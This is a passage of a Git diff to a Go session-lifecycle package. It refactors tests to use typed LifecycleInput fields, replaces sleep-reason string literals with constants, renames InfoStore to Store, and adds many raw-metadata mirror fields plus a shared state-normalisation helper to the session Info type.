+				Now:               now,
 			},
 			wantRuntime:         RuntimeProjectionMissing,
 			wantReconciledState: StateAsleep,
@@ -428,11 +394,8 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "fresh creating state stays creating after restart",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":        "creating",
-					"session_name": "s-worker",
-				},
+				Status:             "open",
+				StoredState:        "creating",
 				Runtime:            RuntimeFacts{Observed: true, Alive: false},
 				CreatedAt:          now.Add(-30 * time.Second),
 				StaleCreatingAfter: time.Minute,
@@ -444,12 +407,9 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "stale creating state heals to asleep and resets stale resume identity",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":        "creating",
-					"session_name": "s-worker",
-					"session_key":  "old-provider-conversation",
-				},
+				Status:             "open",
+				StoredState:        "creating",
+				SessionKey:         "old-provider-conversation",
 				Runtime:            RuntimeFacts{Observed: true, Alive: false},
 				CreatedAt:          now.Add(-2 * time.Minute),
 				StaleCreatingAfter: time.Minute,
@@ -466,14 +426,11 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 			// runtime, the bead heals to asleep and the claim no longer wins.
 			name: "stale creating heals to asleep even with pending_create_claim",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                "creating",
-					"session_name":         "s-worker",
-					"session_key":          "old-provider-conversation",
-					"pending_create_claim": "true",
-					"last_woke_at":         now.Add(-2 * time.Minute).UTC().Format(time.RFC3339),
-				},
+				Status:             "open",
+				StoredState:        "creating",
+				SessionKey:         "old-provider-conversation",
+				PendingCreateClaim: true,
+				LastWokeAt:         now.Add(-2 * time.Minute).UTC().Format(time.RFC3339),
 				Runtime:            RuntimeFacts{Observed: true, Alive: false},
 				CreatedAt:          now.Add(-2 * time.Minute),
 				StaleCreatingAfter: time.Minute,
@@ -486,12 +443,9 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "start-pending with pending_create_claim stays start-pending",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                string(StateStartPending),
-					"session_name":         "s-worker",
-					"pending_create_claim": "true",
-				},
+				Status:             "open",
+				StoredState:        string(StateStartPending),
+				PendingCreateClaim: true,
 				Runtime:            RuntimeFacts{Observed: true, Alive: false},
 				CreatedAt:          now.Add(-2 * time.Minute),
 				StaleCreatingAfter: time.Minute,
@@ -506,13 +460,10 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 			// raced.
 			name: "fresh creating with pending_create_claim stays in creating",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                "creating",
-					"session_name":         "s-worker",
-					"pending_create_claim": "true",
-					"last_woke_at":         now.Add(-30 * time.Second).UTC().Format(time.RFC3339),
-				},
+				Status:             "open",
+				StoredState:        "creating",
+				PendingCreateClaim: true,
+				LastWokeAt:         now.Add(-30 * time.Second).UTC().Format(time.RFC3339),
 				Runtime:            RuntimeFacts{Observed: true, Alive: false},
 				CreatedAt:          now.Add(-30 * time.Second),
 				StaleCreatingAfter: time.Minute,
@@ -524,12 +475,9 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "failed-create with pending_create_claim stays failed-create",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                string(StateFailedCreate),
-					"session_name":         "s-worker",
-					"pending_create_claim": "true",
-				},
+				Status:             "open",
+				StoredState:        string(StateFailedCreate),
+				PendingCreateClaim: true,
 				Runtime:            RuntimeFacts{Observed: true, Alive: false},
 				CreatedAt:          now.Add(-30 * time.Second),
 				StaleCreatingAfter: time.Minute,
@@ -541,14 +489,11 @@ func TestProjectLifecycleRuntimeLivenessProjection(t *testing.T) {
 		{
 			name: "non-creating pending_create_claim remains start requested",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                "active",
-					"session_name":         "s-worker",
-					"pending_create_claim": "true",
-				},
-				Runtime: RuntimeFacts{Observed: true, Alive: false},
-				Now:     now,
+				Status:             "open",
+				StoredState:        "active",
+				PendingCreateClaim: true,
+				Runtime:            RuntimeFacts{Observed: true, Alive: false},
+				Now:                now,
 			},
 			wantRuntime:         RuntimeProjectionStartRequested,
 			wantReconciledState: StateStartPending,
@@ -581,26 +526,20 @@ func TestProjectLifecycleMissingConfigBlocksWake(t *testing.T) {
 		{
 			name: "orphaned continuity eligible named bead keeps identity but blocks wake",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":                     "orphaned",
-					"session_name":              "s-worker",
-					"configured_named_identity": "worker",
-					"continuity_eligible":       "true",
-					"pin_awake":                 "true",
-				},
-				Now: now,
+				Status:                  "open",
+				StoredState:             "orphaned",
+				ConfiguredNamedIdentity: "worker",
+				ContinuityEligible:      "true",
+				PinAwake:                "true",
+				Now:                     now,
 			},
 		},
 		{
 			name: "known missing config blocks otherwise active materialized identity",
 			input: LifecycleInput{
-				Status: "open",
-				Metadata: map[string]string{
-					"state":        "asleep",
-					"session_name": "s-worker",
-					"pin_awake":    "true",
-				},
+				Status:        "open",
+				StoredState:   "asleep",
+				PinAwake:      "true",
 				ConfigMissing: true,
 				Now:           now,
 			},
diff --git a/internal/session/lifecycle_timers.go b/internal/session/lifecycle_timers.go
index f50155278a..c56491d7ab 100644
--- a/internal/session/lifecycle_timers.go
+++ b/internal/session/lifecycle_timers.go
@@ -120,7 +120,7 @@ func DecideMaxSessionAge(f TimerFacts) TimerDecision {
 		Action:       TimerActionStop,
 		TraceReason:  "max_session_age",
 		TraceOutcome: "stop",
-		SleepReason:  "max-session-age",
+		SleepReason:  string(SleepReasonMaxSessionAge),
 	}
 }
 
@@ -149,7 +149,7 @@ func DecideIdleTimeout(f TimerFacts) TimerDecision {
 		Action:       TimerActionStop,
 		TraceReason:  "idle_timeout",
 		TraceOutcome: "stop",
-		SleepReason:  "idle-timeout",
+		SleepReason:  string(SleepReasonIdleTimeout),
 	}
 }
 
diff --git a/internal/session/lifecycle_transition.go b/internal/session/lifecycle_transition.go
index 91c03a99cc..f1b4bbf818 100644
--- a/internal/session/lifecycle_transition.go
+++ b/internal/session/lifecycle_transition.go
@@ -172,8 +172,9 @@ func ClearWakeBlockersPatch(state State, sleepReason string) MetadataPatch {
 	case StateSuspended, StateDrained:
 		patch["state"] = string(StateAsleep)
 	}
-	switch sleepReason {
-	case "user-hold", "wait-hold", "quarantine", "context-churn", "rate_limit", string(StateDrained):
+	switch SleepReason(sleepReason) {
+	case SleepReasonUserHold, SleepReasonWaitHold, SleepReasonQuarantine,
+		SleepReasonContextChurn, SleepReasonRateLimit, SleepReasonDrained:
 		patch["sleep_reason"] = ""
 	}
 	return patch
@@ -185,7 +186,7 @@ func ClearExpiredHoldPatch(sleepReason string) MetadataPatch {
 	patch := MetadataPatch{
 		"held_until": "",
 	}
-	if sleepReason == "user-hold" {
+	if SleepReason(sleepReason) == SleepReasonUserHold {
 		patch["sleep_reason"] = ""
 	}
 	return patch
@@ -199,8 +200,8 @@ func ClearExpiredQuarantinePatch(sleepReason string) MetadataPatch {
 		"wake_attempts":     "0",
 		"churn_count":       "0",
 	}
-	switch sleepReason {
-	case "quarantine", "context-churn", "rate_limit":
+	switch SleepReason(sleepReason) {
+	case SleepReasonQuarantine, SleepReasonContextChurn, SleepReasonRateLimit:
 		patch["sleep_reason"] = ""
 	}
 	return patch
diff --git a/internal/session/mailbox_address.go b/internal/session/mailbox_address.go
index 7b1f6fe613..17aa1b5d69 100644
--- a/internal/session/mailbox_address.go
+++ b/internal/session/mailbox_address.go
@@ -73,7 +73,7 @@ func ExtmsgHandleSource(b beads.Bead) string {
 // error is returned verbatim (beads.ErrNotFound-wrapped when the bead is
 // absent), matching the raw mail path it replaces — the callers pass an
 // already-resolved session id and surface the error to the operator.
-func (s *InfoStore) MailboxAddress(id string) (string, error) {
+func (s *Store) MailboxAddress(id string) (string, error) {
 	b, err := s.store.Get(id)
 	if err != nil {
 		return "", err
@@ -84,7 +84,7 @@ func (s *InfoStore) MailboxAddress(id string) (string, error) {
 // MailboxAddresses loads the session bead for id and returns all addresses it
 // can receive mail at. The Get error is returned verbatim, matching the raw
 // mail path it replaces.
-func (s *InfoStore) MailboxAddresses(id string) ([]string, error) {
+func (s *Store) MailboxAddresses(id string) ([]string, error) {
 	b, err := s.store.Get(id)
 	if err != nil {
 		return nil, err
@@ -97,7 +97,7 @@ func (s *InfoStore) MailboxAddresses(id string) ([]string, error) {
 // false) return signals "no session bead / load error" so the caller can fall
 // back to its selector, matching the raw extmsg handler which fell back on any
 // Get error.
-func (s *InfoStore) ExtmsgHandleSource(id string) (string, bool) {
+func (s *Store) ExtmsgHandleSource(id string) (string, bool) {
 	b, err := s.store.Get(id)
 	if err != nil {
 		return "", false
diff --git a/internal/session/mailbox_address_test.go b/internal/session/mailbox_address_test.go
index cc7106e47f..d94c381930 100644
--- a/internal/session/mailbox_address_test.go
+++ b/internal/session/mailbox_address_test.go
@@ -126,9 +126,9 @@ func TestExtmsgHandleSourceCodec(t *testing.T) {
 	}
 }
 
-// TestInfoStoreMailboxAddressReadOnly proves the front-door read methods load
+// TestStoreMailboxAddressReadOnly proves the front-door read methods load
 // the session bead and apply the codec without emitting any bead writes.
-func TestInfoStoreMailboxAddressReadOnly(t *testing.T) {
+func TestStoreMailboxAddressReadOnly(t *testing.T) {
 	b := sessionBeadFixture("sess-1", "open", map[string]string{
 		"alias":         "mayor",
 		"alias_history": "deacon",
@@ -136,7 +136,7 @@ func TestInfoStoreMailboxAddressReadOnly(t *testing.T) {
 	})
 	mem := beads.NewMemStoreFrom(1, []beads.Bead{b}, nil)
 	rec := beadstest.NewRecordingStore(mem)
-	is := NewInfoStore(beads.SessionStore{Store: rec})
+	is := NewStore(beads.SessionStore{Store: rec})
 
 	addr, err := is.MailboxAddress("sess-1")
 	if err != nil {
@@ -159,14 +159,14 @@ func TestInfoStoreMailboxAddressReadOnly(t *testing.T) {
 	}
 }
 
-// TestInfoStoreExtmsgHandleSource proves the extmsg handle read method loads
+// TestStoreExtmsgHandleSource proves the extmsg handle read method loads
 // the bead, applies the alias/session_name codec, signals not-found via ok, and
 // emits no bead writes.
-func TestInfoStoreExtmsgHandleSource(t *testing.T) {
+func TestStoreExtmsgHandleSource(t *testing.T) {
 	b := sessionBeadFixture("sess-1", "open", map[string]string{"session_name": "sn-1"})
 	mem := beads.NewMemStoreFrom(1, []beads.Bead{b}, nil)
 	rec := beadstest.NewRecordingStore(mem)
-	is := NewInfoStore(beads.SessionStore{Store: rec})
+	is := NewStore(beads.SessionStore{Store: rec})
 
 	source, ok := is.ExtmsgHandleSource("sess-1")
 	if !ok {
@@ -185,12 +185,12 @@ func TestInfoStoreExtmsgHandleSource(t *testing.T) {
 	}
 }
 
-// TestInfoStoreMailboxAddressNotFound proves a missing session bead surfaces
+// TestStoreMailboxAddressNotFound proves a missing session bead surfaces
 // the verbatim Get error (beads.ErrNotFound-wrapped), matching the raw mail
 // path which returned store.Get's error directly.
-func TestInfoStoreMailboxAddressNotFound(t *testing.T) {
+func TestStoreMailboxAddressNotFound(t *testing.T) {
 	mem := beads.NewMemStore()
-	is := NewInfoStore(beads.SessionStore{Store: mem})
+	is := NewStore(beads.SessionStore{Store: mem})
 	if _, err := is.MailboxAddress("nope"); !errors.Is(err, beads.ErrNotFound) {
 		t.Errorf("err = %v, want beads.ErrNotFound", err)
 	}
diff --git a/internal/session/manager.go b/internal/session/manager.go
index eb3b5fca88..4135ba1123 100644
--- a/internal/session/manager.go
+++ b/internal/session/manager.go
@@ -72,7 +72,13 @@ const MetadataLastNudgeDeliveredAt = "last_nudge_delivered_at"
 
 // Info holds the user-facing details of a chat session.
 type Info struct {
-	ID            string
+	ID string
+	// Type is the raw bead type (BeadType for a proper session bead, or empty
+	// for a crash/migration-damaged bead that still carries the gc:session
+	// label). IsSessionBeadOrRepairableInfo reads it to classify repairable
+	// beads without touching the raw bead. Additive, internal-only (absent from
+	// the HTTP wire).
+	Type          string
 	Template      string
 	State         State
 	Closed        bool
@@ -106,6 +112,255 @@ type Info struct {
 	// clear path to decide whether to clear sleep_reason. Additive,
 	// internal-only: NOT emitted on the HTTP session-response wire.
 	SleepReason string
+
+	// --- identity / pool / named-session cluster (controller read surface) ---
+	//
+	// These complete the codec so the session reconciler, the bead snapshot,
+	// and the classifier predicates read typed Info fields instead of raw bead
+	// metadata/labels. Additive, internal-only (absent from the HTTP wire).
+	// Each is the raw projected value; the *semantics* (is-pool-managed,
+	// resolved origin, agent identity with the agent:<name> label fallback) are
+	// predicate methods on Info, not these fields.
+	ConfiguredNamedIdentity string // configured_named_identity
+	ConfiguredNamedSession  bool   // configured_named_session == "true"
+	ConfiguredNamedMode     string // configured_named_mode
+	CommonName              string // common_name
+	PoolSlot                string // pool_slot (raw; pool helpers parse it)
+	PoolManaged             bool   // pool_managed == "true"
+	SessionOrigin           string // session_origin (raw; resolved origin is a method)
+	DependencyOnly          bool   // dependency_only == "true"
+	// DependencyOnlyMetadata is the RAW dependency_only metadata, verbatim and
+	// UNTRIMMED. The pin-awake wake-reason display path (cmd/gc) compares it
+	// exactly (== "true") WITHOUT trimming, a distinction the trimmed
+	// DependencyOnly bool cannot reproduce on whitespace-padded input; the mirror
+	// keeps the raw value so that read stays byte-identical. Additive,
+	// internal-only mirror; see ManualSessionMetadata for the precedent.
+	DependencyOnlyMetadata string // dependency_only (raw)
+	ManualSession          bool   // manual_session (trimmed) == "true"
+	// ManualSessionMetadata is the RAW manual_session metadata, verbatim.
+	// isManualSessionBead compares it WITHOUT trimming, so the Info mirror
+	// keeps the raw value to stay byte-identical on whitespace-padded inputs.
+	ManualSessionMetadata string
+	Labels                []string // bead labels (agent:<name> identity fallback + canonical checks)
+
+	// MCPIdentity / MCPServersSnapshot mirror the raw mcp_identity and
+	// mcp_servers_snapshot metadata (verbatim). The ACP-transport classifier
+	// treats a non-empty value on either key as evidence the session speaks ACP,
+	// so the Info form must carry them to stay byte-identical. Additive,
+	// internal-only (absent from the HTTP wire).
+	MCPIdentity        string // mcp_identity (raw)
+	MCPServersSnapshot string // mcp_servers_snapshot (raw)
+
+	// --- health / provider-terminal-error cluster (controller read surface) ---
+	//
+	// The pool-demand and reconciler paths treat a session with a persisted
+	// provider terminal error (or an unhealthy+drainable+reasoned health record)
+	// as spent, excluding it from resume and in-flight demand. These mirror the
+	// raw markers so the Info form of that classifier stays byte-identical.
+	// Additive, internal-only (absent from the HTTP wire).
+	ProviderTerminalError string // provider_terminal_error (raw)
+	HealthState           string // session_health (raw)
+	HealthReason          string // session_health_reason (raw)
+	Drainable             bool   // session_drainable == "true"
+
+	// --- trigger / brain-parent cluster (controller read surface) ---
+	//
+	// poolInFlightNewRequests stamps these onto the new-tier SessionRequest it
+	// emits for a pool-managed creating session. Raw mirrors of the gc.* keys.
+	// Additive, internal-only (absent from the HTTP wire).
+	TriggerBeadID       string // gc.trigger_bead_id (raw)
+	TriggerBeadStoreRef string // gc.trigger_bead_store_ref (raw)
+	BrainParentSID      string // gc.brain_parent_sid (raw)
+	Pack                string // gc.pack (raw); resolveTemplateForSessionBead threads it into GC_PACKER_PACK
+
+	// --- state / bookkeeping cluster (controller read surface) ---
+	//
+	// These complete the codec for the classifier predicates that read raw
+	// state and create/wake/quarantine bookkeeping keys. Additive,
+	// internal-only (absent from the HTTP wire).
+	//
+	// MetadataState is the RAW persisted state metadata (untrimmed, not
+	// normalized, and NOT blanked on closed beads), distinct from the
+	// liveness-shaped Info.State. The reconciler's known-state, failed-create,
+	// drained, and metadata-state classifiers key off the raw value, so it must
+	// be carried verbatim.
+	MetadataState string // raw state metadata (verbatim; see State for the normalized form)
+	// SessionNameMetadata is the RAW session_name metadata, verbatim and
+	// WITHOUT the sessionNameFor(ID) fallback that Info.SessionName applies.
+	// Classifiers that branch on "no session_name was persisted" (pool-name
+	// ownership, ephemeral pool-slot detection, assignee identities) must read
+	// this raw value, not the always-populated Info.SessionName.
+	SessionNameMetadata string
+	PendingCreateClaim  bool // pending_create_claim == "true"
+	// PendingCreateClaimMetadata is the RAW pending_create_claim metadata string,
+	// kept verbatim (untrimmed) so trace payloads reproduce a non-canonical raw
+	// value (e.g. "yes") that the PendingCreateClaim bool cannot. Additive,
+	// internal-only mirror; see WakeAttemptsMetadata for the precedent.
+	PendingCreateClaimMetadata string
+	PendingCreateStartedAt     string   // pending_create_started_at (raw RFC3339; stale-create sweep parses it)
+	WakeAttempts               int      // wake_attempts parsed as int (0 on missing/invalid)
+	QuarantinedUntil           string   // quarantined_until (raw RFC3339; quarantine check parses it)
+	AliasHistory               []string // prior aliases (alias_history, normalized via session.AliasHistory)
+	// ContinuityEligible is the RAW continuity_eligible metadata, verbatim.
+	// NamedSessionContinuityEligibleInfo compares it (trimmed) against "false"/
+	// "true", so the Info mirror keeps the raw value. Additive, internal-only.
+	ContinuityEligible string // continuity_eligible (raw)
+	// TransportMetadata is the RAW transport metadata, verbatim and WITHOUT the
+	// normalizeTransport(provider, …) derivation that Info.Transport applies.
+	// The nudge-target resolver reads the raw value (it falls back to the agent's
+	// configured transport when the metadata is empty), so a consumer replacing
+	// that raw read must use this field, not the normalized Info.Transport (which
+	// would be non-empty even when no transport was persisted). Additive,
+	// internal-only (absent from the HTTP wire).
+	TransportMetadata string // transport (raw)
+	// LastWokeAt is the RAW last_woke_at metadata (RFC3339 or empty). The
+	// pending-create lease helpers branch on its emptiness (never-started vs
+	// start-in-flight) and parse it for the in-flight deadline, so the Info
+	// mirror keeps the raw value.
+	LastWokeAt string // last_woke_at (raw)
+	// StateReason is the RAW state_reason metadata. The pool sweep's
+	// post-create-protection window matches state_reason == "creation_complete".
+	StateReason string // state_reason (raw)
+	// CreationCompleteAt is the RAW creation_complete_at metadata (RFC3339 or
+	// empty). The pool sweep parses it to age out the post-create protection
+	// window; a missing/zero value is treated as stale (sweepable).
+	CreationCompleteAt string // creation_complete_at (raw)
+	// ContinuationResetPending is the RAW continuation_reset_pending metadata.
+	// The reconciler's restart-handoff path branches on it (trimmed) == "true"
+	// via resetPendingCommittedAt; the Info mirror keeps the raw value.
+	ContinuationResetPending string // continuation_reset_pending (raw)
+	// ResetCommittedAt is the RAW reset_committed_at metadata (RFC3339 or empty),
+	// the durable marker for when a restart handoff committed. resetPendingCommittedAt
+	// parses it; the Info mirror keeps the raw value.
+	ResetCommittedAt string // reset_committed_at (raw)
+	// Generation is the RAW generation metadata, verbatim. The drain/wake
+	// staleness checks read it BOTH as strconv.Atoi (numeric compare against the
+	// in-memory drain generation) AND strings.TrimSpace (string compare against
+	// the persisted GC_DRAIN_GENERATION ack). A parsed int would lose the
+	// whitespace fidelity the TrimSpace path relies on, so the mirror keeps the
+	// raw string. Additive, internal-only (absent from the HTTP wire).
+	Generation string // generation (raw)
+	// StartedConfigHash is the RAW started_config_hash metadata, verbatim — the
+	// Core fingerprint captured when the session last started. The reconciler's
+	// config-drift detection reads it both as a direct string compare (stored
+	// hash vs the recomputed Core fingerprint) and via strings.TrimSpace (the
+	// emptiness gate that forces firstStart), so the mirror keeps the raw bytes
+	// exactly as the drift path relies on. Additive, internal-only (absent from
+	// the HTTP wire).
+	StartedConfigHash string // started_config_hash (raw)
+	// PinAwake is the RAW pin_awake metadata, verbatim. The reconciler's wake
+	// pass suppresses config-driven wake only when it is != "true", an exact
+	// string compare, so the mirror keeps the raw value. Additive, internal-only
+	// (absent from the HTTP wire).
+	PinAwake string // pin_awake (raw)
+
+	// --- reconciler decision-read cluster (front-door migration, Phase 5) ---
+	//
+	// These complete the codec for the raw session-bead metadata the reconciler
+	// decision paths still crack inline (held/wait/churn/wake/sleep/config-drift/
+	// detach bookkeeping). Each is the RAW projected value, verbatim, so the
+	// eventual Info-routed read stays byte-identical to the current
+	// session.Metadata[...] read (several are compared both trimmed and untrimmed,
+	// or parsed as RFC3339/int, so an int/bool mirror could not preserve fidelity).
+	// Additive, internal-only (absent from the HTTP wire). The classifier-
+	// equivalence oracle guards these against codec drift.
+
+	// HeldUntil is the RAW held_until metadata. evaluateWakeReasons suppresses ALL
+	// wake reasons while it is non-empty; healExpiredTimers clears it once elapsed.
+	HeldUntil string // held_until (raw)
+	// WaitHold is the RAW wait_hold metadata. The reconcile hold path branches on
+	// its emptiness; compute_awake_bridge maps it to LifecycleInput.WaitHold via an
+	// exact == "true" compare, so the mirror keeps the raw value.
+	WaitHold string // wait_hold (raw)
+	// ChurnCount is the RAW churn_count metadata. The death-spiral quarantine path
+	// reads it BOTH via strconv.Atoi (numeric threshold) AND as == "" / == "0"
+	// (clear/first-increment gates), so the mirror keeps the raw string.
+	ChurnCount string // churn_count (raw)
+	// WakeMode is the RAW wake_mode metadata. The wake and drain-finalize paths
+	// branch on an exact == "fresh" compare.
+	WakeMode string // wake_mode (raw)
+	// SleepIntent is the RAW sleep_intent metadata. The sleep-intent branch reads
+	// it as != "" and == "idle-stop-pending".
+	SleepIntent string // sleep_intent (raw)
+	// InstanceToken is the RAW instance_token metadata. The wake path compares it
+	// against the live instance token to detect a superseded session.
+	InstanceToken string // instance_token (raw)
+	// DetachedAt is the RAW detached_at metadata (RFC3339 or empty). The detach
+	// gate reads it as != "" and parses it via time.Parse, so the mirror keeps the
+	// raw bytes.
+	DetachedAt string // detached_at (raw)
+	// CurrentlyProcessingBeadID is the RAW currently_processing_bead_id metadata
+	// (CurrentBeadIDKey). compute_awake_bridge maps it (trimmed) onto
+	// LifecycleInput.CurrentlyProcessingBeadID.
+	CurrentlyProcessingBeadID string // currently_processing_bead_id (raw)
+	// CoreHashBreakdown is the RAW core_hash_breakdown metadata (a JSON blob). The
+	// config-drift path feeds it verbatim to runtime.CoreFingerprintDriftFieldsFromJSON
+	// / LogCoreFingerprintDrift for the drift trace payload; the mirror keeps the
+	// raw JSON exactly.
+	CoreHashBreakdown string // core_hash_breakdown (raw)
+	// StartedProvisionHash / StartedLaunchHash / StartedLiveHash are the RAW
+	// provision/launch/live sub-fingerprints captured at start. The launch-only-
+	// drift decision compares StartedProvisionHash against the recomputed provision
+	// fingerprint and StartedLaunchHash against the launch fingerprint (both exact
+	// string compares, both gated on != ""); the live-hash drift path compares
+	// StartedLiveHash. Mirrors keep the raw values.
+	StartedProvisionHash string // started_provision_hash (raw)
+	StartedLaunchHash    string // started_launch_hash (raw)
+	StartedLiveHash      string // started_live_hash (raw)
+	// ConfigDriftDeferredAt / ConfigDriftDeferredKey mirror the named-session
+	// config-drift deferral timer (config_drift_deferred_at / _key). The deferral
+	// path compares the stored key against the current drift key (exact compare)
+	// and parses the timestamp (RFC3339). Mirrors keep the raw values.
+	ConfigDriftDeferredAt  string // config_drift_deferred_at (raw)
+	ConfigDriftDeferredKey string // config_drift_deferred_key (raw)
+	// AttachedConfigDriftDeferredAt / AttachedConfigDriftDeferredKey mirror the
+	// attached-session config-drift deferral timer (attached_config_drift_deferred_at
+	// / _key), the same shape as the named pair above but for the attached path.
+	AttachedConfigDriftDeferredAt  string // attached_config_drift_deferred_at (raw)
+	AttachedConfigDriftDeferredKey string // attached_config_drift_deferred_key (raw)
+	// StrandedEventEmittedAt is the RAW stranded_event_emitted_at metadata, the
+	// idempotency marker the stranded-diagnostic emitter checks (trimmed != "")
+	// before firing once.
+	StrandedEventEmittedAt string // stranded_event_emitted_at (raw)
+	// SessionNameExplicit is the RAW session_name_explicit metadata. The lifecycle
+	// projection's LifecycleIdentifiersReleased predicate reads it (trimmed == "")
+	// alongside alias / session_name, and build_desired_state / the parallel
+	// lifecycle path branch on it (trimmed == "true"). Mirror keeps the raw value.
+	SessionNameExplicit string // session_name_explicit (raw)
+	// WakeRequest is the RAW wake_request metadata. ProjectLifecycle's wake-cause
+	// projection reads it (trimmed == string(WakeCauseExplicit)) to raise the
+	// explicit-wake cause. Mirror keeps the raw value so a typed LifecycleInput can
+	// be populated from Info without touching the bead.
+	WakeRequest string // wake_request (raw)
+	// RestartRequested is the RAW restart_requested metadata, the §5.2 intra-tick
+	// restart marker compute_awake_bridge reads (trimmed == "true") to surface a
+	// pending restart on the awake scan. Under raw-refresh coexistence the mirror
+	// reflects the in-memory value; Step 6 handles the Get-cutover intra-tick carrier.
+	RestartRequested string // restart_requested (raw)
+	// SessionIDFlag is the RAW session_id_flag metadata. freshRestartSessionKey
+	// (cmd/gc) reads it (trimmed != "") to decide whether the provider can inject a
+	// fresh session ID on a restart handoff. Additive mirror so that read can move off
+	// the raw bead in Step 6b. (Distinct from the resume-time SessionIDFlag field
+	// above, which is the CLI flag string resolved from config, not bead metadata.)
+	SessionIDFlag string // session_id_flag (raw)
+	// TemplateOverrides is the RAW template_overrides metadata (a JSON object string).
+	// ParseTemplateOverrides decodes it on the config-drift hash path; the mirror keeps
+	// the verbatim string so that decode can be fed from Info instead of the bead map
+	// in Step 6b.
+	TemplateOverrides string // template_overrides (raw JSON)
+	// WakeAttemptsMetadata is the RAW wake_attempts metadata string, kept verbatim
+	// alongside the int-parsed WakeAttempts above. clearWakeFailures (cmd/gc) gates on
+	// the raw string (!= "" && != "0"), which the int form cannot reproduce (it collapses
+	// missing/"0"/malformed all to 0); the mirror preserves that distinction for Step 6b.
+	WakeAttemptsMetadata string // wake_attempts (raw)
+	// ProviderKind is the RAW provider_kind metadata, verbatim — the provider
+	// FAMILY marker (claude/codex/gemini) stamped from ResolvedProvider, distinct
+	// from Provider (the concrete provider name). The session-logs / mcp-integration
+	// CLI paths and the worker invocation-telemetry path read it as a family value
+	// (TrimSpace, with a fall-back to provider when empty), so the mirror keeps the
+	// raw value. Additive, internal-only (absent from the HTTP wire). Session-class
+	// periphery front-door migration.
+	ProviderKind string // provider_kind (raw)
 }
 
 // RuntimeObservation reports the provider-backed live runtime state for a
@@ -128,6 +383,23 @@ func normalizeInfoState(state State) State {
 	return state
 }
 
+// canonicalLifecycleState maps a bead's stored state metadata onto the State
+// the transition table understands, before the state machine is consulted. A
+// pre-metadata legacy bead carries an empty state (StateNone); treat it as
+// StateActive so transitions work during upgrade. StateAwake is the
+// reconciler's alias for StateActive; the table only knows StateActive, so
+// normalize it too, keeping already-awake beads accepting Suspend/Drain/
+// Archive/Quarantine/Close. Callers own their own closed-bead and terminal
+// pre-checks; this handles only the none/awake canonicalization shared by
+// Suspend, CloseDetailed, and checkTransition.
+func canonicalLifecycleState(rawState State) State {
+	switch rawState {
+	case StateNone, StateAwake:
+		return StateActive
+	}
+	return rawState
+}
+
 // ProviderResume describes a provider's session resume capabilities.
 // Populated from config.ResolvedProvider's resume fields.
 type ProviderResume struct {
@@ -829,17 +1101,10 @@ func (m *Manager) Suspend(id string) error {
 			}
 			return nil
 		}
-		// Legacy bead normalization: pre-metadata cities may have empty
-		// state fields. Treat empty as StateActive so the state-machine
-		// transition works during upgrade. Matches what Close and
-		// checkTransition already do for the other lifecycle methods.
-		if current == StateNone {
-			current = StateActive
-		}
-		// StateAwake is the reconciler's alias for StateActive.
-		if current == StateAwake {
-			current = StateActive
-		}
+		// Normalize legacy/aliased states (empty and awake both mean active)
+		// after the failed-create pre-check above, preserving closed-guard-
+		// first ordering.
+		current = canonicalLifecycleState(current)
 		if _, err := Transition(current, CmdSuspend); err != nil {
 			return err
 		}
@@ -907,17 +1172,11 @@ func (m *Manager) CloseDetailed(id string) (CloseResult, error) {
 			return nil // idempotent: already closed
 		}
 		// CmdClose is legal from any non-none state; this is effectively a
-		// documentation check that will catch future table changes. Treat
-		// empty metadata state as StateActive for bootstrap beads, and
-		// treat the reconciler's StateAwake alias as StateActive so
-		// already-awake beads can close cleanly.
-		current := State(b.Metadata["state"])
-		if current == StateNone {
-			current = StateActive
-		}
-		if current == StateAwake {
-			current = StateActive
-		}
+		// documentation check that will catch future table changes. The
+		// canonicalizer treats empty metadata state as StateActive for
+		// bootstrap beads and the reconciler's StateAwake alias as StateActive
+		// so already-awake beads can close cleanly.
+		current := canonicalLifecycleState(State(b.Metadata["state"]))
 		if _, err := Transition(current, CmdClose); err != nil {
 			return err
 		}
@@ -1073,10 +1332,7 @@ func (m *Manager) Reactivate(id string) error {
 		if err != nil {
 			return err
 		}
-		view := ProjectLifecycle(LifecycleInput{
-			Status:   b.Status,
-			Metadata: b.Metadata,
-		})
+		view := ProjectLifecycle(LifecycleInputFromMetadata(b.Status, b.Metadata))
 		// Note: quarantine_cycle is intentionally preserved across reactivations.
 		// It tracks how many quarantine rounds the session has been through,
 		// enabling eviction after quarantine_max_attempts.
@@ -1123,19 +1379,7 @@ func (m *Manager) checkTransition(id string, cmd TransitionCommand, targetState
 	if b.Status == "closed" {
 		return false, &IllegalTransitionError{From: StateClosed, Command: cmd}
 	}
-	current := State(b.Metadata["state"])
-	if current == StateNone {
-		// Legacy bead: pre-metadata cities may have empty state fields.
-		// Treat as active so transitions work during upgrade.
-		current = StateActive
-	}
-	// StateAwake is the reconciler's alias for StateActive. The state
-	// machine table only knows StateActive, so normalize before calling
-	// Transition to keep already-awake beads accepting Suspend/Drain/
-	// Archive/Quarantine.
-	if current == StateAwake {
-		current = StateActive
-	}
+	current := canonicalLifecycleState(State(b.Metadata["state"]))
 	if current == targetState {
 		return false, nil
 	}
@@ -1517,40 +1761,9 @@ func (m *Manager) ListFullFromBeads(all []beads.Bead, stateFilter string, templa
 		if !IsSessionBeadOrRepairable(b) {
 			continue
 		}
-		state := normalizeInfoState(State(b.Metadata["state"]))
-
-		// Filter by state.
-		if stateFilter != "" && stateFilter != "all" {
-			match := false
-			for _, s := range strings.Split(stateFilter, ",") {
-				switch {
-				case s == "closed" && b.Status == "closed":
-					match = true
